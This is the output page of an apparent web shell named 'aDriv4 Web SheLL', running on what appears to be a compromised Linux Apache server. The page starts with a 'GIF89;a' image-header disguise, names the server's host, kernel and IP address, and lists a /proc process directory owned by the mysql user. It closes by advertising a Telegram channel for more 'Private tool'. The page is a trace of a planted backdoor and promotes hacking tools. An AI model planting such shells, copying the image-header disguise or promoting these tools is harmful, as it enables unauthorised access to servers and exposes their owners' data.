GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server2.lukinet.app 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
 Apache
 184.94.215.141
Name Type Size Owner/Group Permission Last Modified Actions
. dir - mysql/mysql 0555 2026-02-21 12:46:23
.. dir - root/root 0555 2025-12-23 06:33:41
attr dir - mysql/mysql 0555 2026-02-21 07:00:25
fd dir - mysql/mysql 0500 2026-02-21 05:45:19
fdinfo dir - mysql/mysql 0500 2026-02-21 07:00:25
map_files dir - mysql/mysql 0500 2026-02-21 07:00:25
net dir - mysql/mysql 0555 2026-02-21 07:00:25
ns dir - mysql/mysql 0511 2026-02-21 07:00:25
task dir - mysql/mysql 0555 2026-02-21 07:00:25
autogroup text/plain 0 B mysql/mysql 0644 2026-02-21 07:01:32
auxv 0 B mysql/mysql 0400 2026-02-21 07:01:32
cgroup text/plain 0 B mysql/mysql 0444 2026-02-21 07:01:32
clear_refs 0 B mysql/mysql 0200 2026-02-21 07:01:32
cmdline text/plain 0 B mysql/mysql 0444 2026-02-21 05:58:45
comm text/plain 0 B mysql/mysql 0644 2026-02-21 07:01:32
coredump_filter text/plain 0 B mysql/mysql 0644 2026-02-21 07:01:32
cpu_resctrl_groups text/plain 0 B mysql/mysql 0444 2026-02-21 07:01:32
cpuset application/octet-stream 0 B mysql/mysql 0444 2026-02-21 07:01:32
environ 0 B mysql/mysql 0400 2026-02-21 07:01:32
gid_map text/plain 0 B mysql/mysql 0644 2026-02-21 07:01:32
io 0 B mysql/mysql 0400 2026-02-21 07:01:32
limits text/plain 0 B mysql/mysql 0444 2026-02-21 07:01:32
loginuid text/plain 0 B mysql/mysql 0644 2026-02-21 07:01:32
maps 0 B mysql/mysql 0444 2026-02-21 07:01:32
mem 0 B mysql/mysql 0600 2026-02-21 07:01:32
mountinfo text/plain 0 B mysql/mysql 0444 2026-02-21 07:01:32
mounts text/plain 0 B mysql/mysql 0444 2026-02-21 07:01:32
mountstats 0 B mysql/mysql 0400 2026-02-21 07:01:32
numa_maps 0 B mysql/mysql 0444 2026-02-21 07:01:32
oom_adj application/octet-stream 0 B mysql/mysql 0644 2026-02-21 07:01:32
oom_score text/plain 0 B mysql/mysql 0444 2026-02-21 07:01:32
oom_score_adj application/octet-stream 0 B mysql/mysql 0644 2026-02-21 07:01:32
pagemap 0 B mysql/mysql 0400 2026-02-21 07:01:32
patch_state 0 B mysql/mysql 0400 2026-02-21 07:01:32
personality 0 B mysql/mysql 0400 2026-02-21 07:01:32
projid_map text/plain 0 B mysql/mysql 0644 2026-02-21 07:01:32
sched text/plain 0 B mysql/mysql 0644 2026-02-21 07:01:32
schedstat text/plain 0 B mysql/mysql 0444 2026-02-21 07:01:32
sessionid text/plain 0 B mysql/mysql 0444 2026-02-21 07:01:32
setgroups text/plain 0 B mysql/mysql 0644 2026-02-21 07:01:32
smaps 0 B mysql/mysql 0444 2026-02-21 07:01:32
smaps_rollup 0 B mysql/mysql 0444 2026-02-21 07:01:32
stack 0 B mysql/mysql 0400 2026-02-21 07:01:32
stat text/plain 0 B mysql/mysql 0444 2026-02-21 05:58:45
statm text/plain 0 B mysql/mysql 0444 2026-02-21 05:05:05
status text/plain 0 B mysql/mysql 0444 2026-02-21 05:58:45
syscall 0 B mysql/mysql 0400 2026-02-21 07:01:32
timens_offsets text/plain 0 B mysql/mysql 0644 2026-02-21 07:01:32
timers application/x-empty 0 B mysql/mysql 0444 2026-02-21 07:01:32
timerslack_ns 0 B mysql/mysql 0666 2026-02-21 07:01:32
uid_map text/plain 0 B mysql/mysql 0644 2026-02-21 07:01:32
wchan application/octet-stream 0 B mysql/mysql 0444 2026-02-21 07:01:32
© aDriv4